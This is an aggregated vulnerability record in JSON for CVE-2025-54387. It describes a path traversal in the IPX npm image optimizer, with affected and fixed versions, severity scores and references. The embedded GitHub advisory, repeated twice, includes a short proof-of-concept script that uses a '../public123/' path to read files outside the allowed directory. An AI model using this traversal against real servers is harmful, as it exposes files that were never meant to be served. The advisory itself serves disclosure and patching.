{"id":"CVE-2025-54387","aliases":["EUVD-2025-23570","GHSA-mm3p-j368-7jcr"],"status":"published","title":"IPX is Vulnerable to Path Traversal via Prefix Matching Bypass","description":"IPX is an image optimizer powered by sharp and svgo. In versions 1.3.1 and below, 2.0.0-0 through 2.1.0, and 3.0.0 through 3.1.0, the approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison. This is fixed in versions 1.3.2, 2.1.1 and 3.1.1.","severity":{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00792,"percentile":0.56772,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2025-08-04T14:48:25Z","modified":"2026-10-28T02:31:04Z","fixes":[{"ecosystem":"npm","package":"ipx","fixed_in":["1.3.2","2.1.1","3.1.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"ipx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.2"}]}]},{"source":"ghsa","ecosystem":"npm","package":"ipx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0-0"},{"fixed":"2.1.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"ipx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.1.1"}]}]},{"source":"osv","ecosystem":"npm","package":"ipx","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.3.2"}]}]},{"source":"osv","ecosystem":"npm","package":"ipx","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0-0"},{"fixed":"2.1.1"}]}]},{"source":"osv","ecosystem":"npm","package":"ipx","ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.1.1"}]}]}],"products":[{"vendor":"unjs","product":"ipx"}],"references":[{"url":"https://github.com/unjs/ipx/security/advisories/GHSA-mm3p-j368-7jcr","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/unjs/ipx/commit/81693ddbfc062cc922e4e2406e8427ab4e3ad214","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/unjs/ipx/releases/tag/v1.3.2","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/unjs/ipx/releases/tag/v2.1.1","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://github.com/unjs/ipx/releases/tag/v3.1.1","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54387","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-mm3p-j368-7jcr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/54xxx/CVE-2025-54387.json","tags":["advisory"]},{"url":"https://github.com/unjs/ipx","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-54387","title":"IPX is Vulnerable to Path Traversal via Prefix Matching Bypass","description":"IPX is an image optimizer powered by sharp and svgo. In versions 1.3.1 and below, 2.0.0-0 through 2.1.0, and 3.0.0 through 3.1.0, the approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison. This is fixed in versions 1.3.2, 2.1.1 and 3.1.1.","status":"published","published":"2025-08-05T00:10:26.442Z","modified":"2025-08-05T14:11:59.162Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:32:27.603809Z"}],"euvd":[{"id":"EUVD-2025-23570","description":"IPX is an image optimizer powered by sharp and svgo. In versions 1.3.1 and below, 2.0.0-0 through 2.1.0, and 3.0.0 through 3.1.0, the approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison. This is fixed in versions 1.3.2, 2.1.1 and 3.1.1.","status":"published","published":"2025-08-05T00:10:26Z","modified":"2025-08-05T14:11:59Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-02T20:32:01.599514Z"}],"ghsa":[{"id":"GHSA-mm3p-j368-7jcr","title":"IPX Allows Path Traversal via Prefix Matching Bypass","description":"### Summary\n\nThe approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.\n\n\n### PoC\n\n- setup\n```\nmkdir ~/public123\nmove a png file under ~/public123 with name test.png\ncd\nnpm i ipx \n```\n\n- `main.js`\n```js\nimport { createIPX, ipxFSStorage } from \"ipx\";\n\nconst ipx = createIPX({\n  storage: ipxFSStorage({ dir: \"./public\" }),\n});\n\n\n(async () =\u003e { \n    {\n        const source = await ipx(\"../public123/test.png\"); // access file outside ./public dir because of same prefix folder\n        const { data, format } = await source.process();\n        console.log(format) // print image data\n    }\n    {\n        try {\n            const source = await ipx(\"../publi123/test.png\"); // forbidden path: the prefix is not the same\n            const { data, format } = await source.process();\n            console.log(data)\n        } catch (err) {\n            console.log(err.message) // Forbidden path:\n        }\n\n    }\n\n})()\n```\n\n- `node main.js`\n```\npng\nForbidden path: /../publi123/test.png\n```\n\n### Impact\nPath Traversal\n\n### Possible Fix\n\nCheck if the `dir` ends with `/` (path separator) and if not, add before calling `startsWith`","status":"published","published":"2025-08-04T14:48:25Z","modified":"2025-08-05T17:10:14Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:38:52.85141Z"}],"nvd":[{"id":"CVE-2025-54387","description":"IPX is an image optimizer powered by sharp and svgo. In versions 1.3.1 and below, 2.0.0-0 through 2.1.0, and 3.0.0 through 3.1.0, the approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison. This is fixed in versions 1.3.2, 2.1.1 and 3.1.1.","status":"published","published":"2025-08-05T01:15:41.557Z","modified":"2026-06-17T09:39:59.71Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:11:22.319351Z"}],"osv":[{"id":"CVE-2025-54387","title":"IPX is Vulnerable to Path Traversal via Prefix Matching Bypass","description":"IPX is an image optimizer powered by sharp and svgo. In versions 1.3.1 and below, 2.0.0-0 through 2.1.0, and 3.0.0 through 3.1.0, the approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison. This is fixed in versions 1.3.2, 2.1.1 and 3.1.1.","status":"published","published":"2025-08-05T00:10:26.442Z","modified":"2026-10-28T02:31:04.485317552Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:44:50.863921Z"},{"id":"GHSA-mm3p-j368-7jcr","title":"IPX Allows Path Traversal via Prefix Matching Bypass","description":"### Summary\n\nThe approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.\n\n\n### PoC\n\n- setup\n```\nmkdir ~/public123\nmove a png file under ~/public123 with name test.png\ncd\nnpm i ipx \n```\n\n- `main.js`\n```js\nimport { createIPX, ipxFSStorage } from \"ipx\";\n\nconst ipx = createIPX({\n  storage: ipxFSStorage({ dir: \"./public\" }),\n});\n\n\n(async () =\u003e { \n    {\n        const source = await ipx(\"../public123/test.png\"); // access file outside ./public dir because of same prefix folder\n        const { data, format } = await source.process();\n        console.log(format) // print image data\n    }\n    {\n        try {\n            const source = await ipx(\"../publi123/test.png\"); // forbidden path: the prefix is not the same\n            const { data, format } = await source.process();\n            console.log(data)\n        } catch (err) {\n            console.log(err.message) // Forbidden path:\n        }\n\n    }\n\n})()\n```\n\n- `node main.js`\n```\npng\nForbidden path: /../publi123/test.png\n```\n\n### Impact\nPath Traversal\n\n### Possible Fix\n\nCheck if the `dir` ends with `/` (path separator) and if not, add before calling `startsWith`","status":"published","published":"2025-08-04T14:48:25Z","modified":"2026-09-10T03:50:27.266475915Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:51.811331Z"}]}}
